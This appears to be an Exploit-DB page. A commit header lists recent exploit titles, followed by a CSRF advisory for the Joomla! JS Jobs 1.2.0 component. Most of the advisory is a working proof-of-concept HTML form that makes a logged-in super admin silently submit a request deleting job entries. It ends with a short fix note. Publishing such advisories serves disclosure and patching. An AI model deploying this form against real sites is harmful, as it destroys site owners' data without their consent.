e8f4ef9188
14 changes to exploits/shellcodes PDFunite 0.41.0 - '.pdf' Local Buffer Overflow RSVG 2.40.13 / 2.42.2 - '.svg' Buffer Overflow VX Search 10.6.18 - 'directory' Local Buffer Overflow Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) Easy File Sharing Web Server 7.2 - Stack Buffer Overflow Coship RT3052 Wireless Router - Persistent Cross-Site Scripting Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution MySQL Squid Access Report 2.1.4 - SQL Injection / Cross-Site Scripting Rvsitebuilder CMS - Database Backup Download Match Clone Script 1.0.4 - Cross-Site Scripting Kodi 17.6 - Persistent Cross-Site Scripting Lutron Quantum 2.0 - 3.2.243 - Information Disclosure WordPress Plugin Caldera Forms 1.5.9.1 - Cross-Site Scripting Joomla! Component JS Jobs 1.2.0 - Cross-Site Request Forgery Geist WatchDog Console 3.2.2 - Multiple Vulnerabilities
68 lines
No EOL
2.7 KiB
Text
68 lines
No EOL
2.7 KiB
Text
#######################################
|
|
# Exploit Title: Joomla! Component Js Jobs - Multiple Cross Site Request Forgery Vulnerabilities
|
|
# Google Dork: N/A
|
|
# Date: 17-04-2018
|
|
#######################################
|
|
# Exploit Author: Sureshbabu Narvaneni#
|
|
#######################################
|
|
# Author Blog : http://nullnews.in
|
|
# Vendor Homepage: https://www.joomsky.com
|
|
# Software Link: https://extensions.joomla.org/extension/js-jobs/
|
|
# Affected Version: 1.2.0
|
|
# Category: WebApps
|
|
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
|
|
# CVE : NA
|
|
#######################################
|
|
|
|
1. Vendor Description:
|
|
|
|
JS Jobs for any business, industry body or staffing company wishing to
|
|
establish a presence on the internet. JS Jobs allows you to run your own,
|
|
unique jobs classifieds service where you or employer can advertise their
|
|
jobs and job seekers can upload their Resumes.
|
|
|
|
2. Technical Description:
|
|
|
|
The state changing actions in JS Jobs before 1.2.1 not having any random
|
|
token validation which results in Cross Site Request Forgery Vulnerability.
|
|
|
|
3. Proof of Concept:
|
|
|
|
Delete Job Entry [Super Admin Access]
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://[URL]/joomla/administrator/index.php"
|
|
method="POST">
|
|
<input type="hidden" name="js_sortby" value="0" />
|
|
<input type="hidden" name="companyname" value="" />
|
|
<input type="hidden" name="jobtitle" value="" />
|
|
<input type="hidden" name="location" value="" />
|
|
<input type="hidden" name="jobcategory" value="" />
|
|
<input type="hidden" name="jobtype" value="" />
|
|
<input type="hidden" name="datefrom" value="" />
|
|
<input type="hidden" name="dateto" value="" />
|
|
<input type="hidden" name="status" value="" />
|
|
<input type="hidden" name="cid[]" value="[Job ID]" />
|
|
<input type="hidden" name="limit" value="20" />
|
|
<input type="hidden" name="limitstart" value="0" />
|
|
<input type="hidden" name="option" value="com_jsjobs" />
|
|
<input type="hidden" name="task" value="job.jobenforcedelete" />
|
|
<input type="hidden" name="c" value="job" />
|
|
<input type="hidden" name="view" value="job" />
|
|
<input type="hidden" name="layout" value="jobs" />
|
|
<input type="hidden" name="callfrom" value="jobs" />
|
|
<input type="hidden" name="boxchecked" value="1" />
|
|
<input type="hidden" name="sortby" value="asc" />
|
|
<input type="hidden" name="my_click" value="" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
4. Solution:
|
|
|
|
Update to latest version
|
|
|
|
https://extensions.joomla.org/extension/js-jobs/ |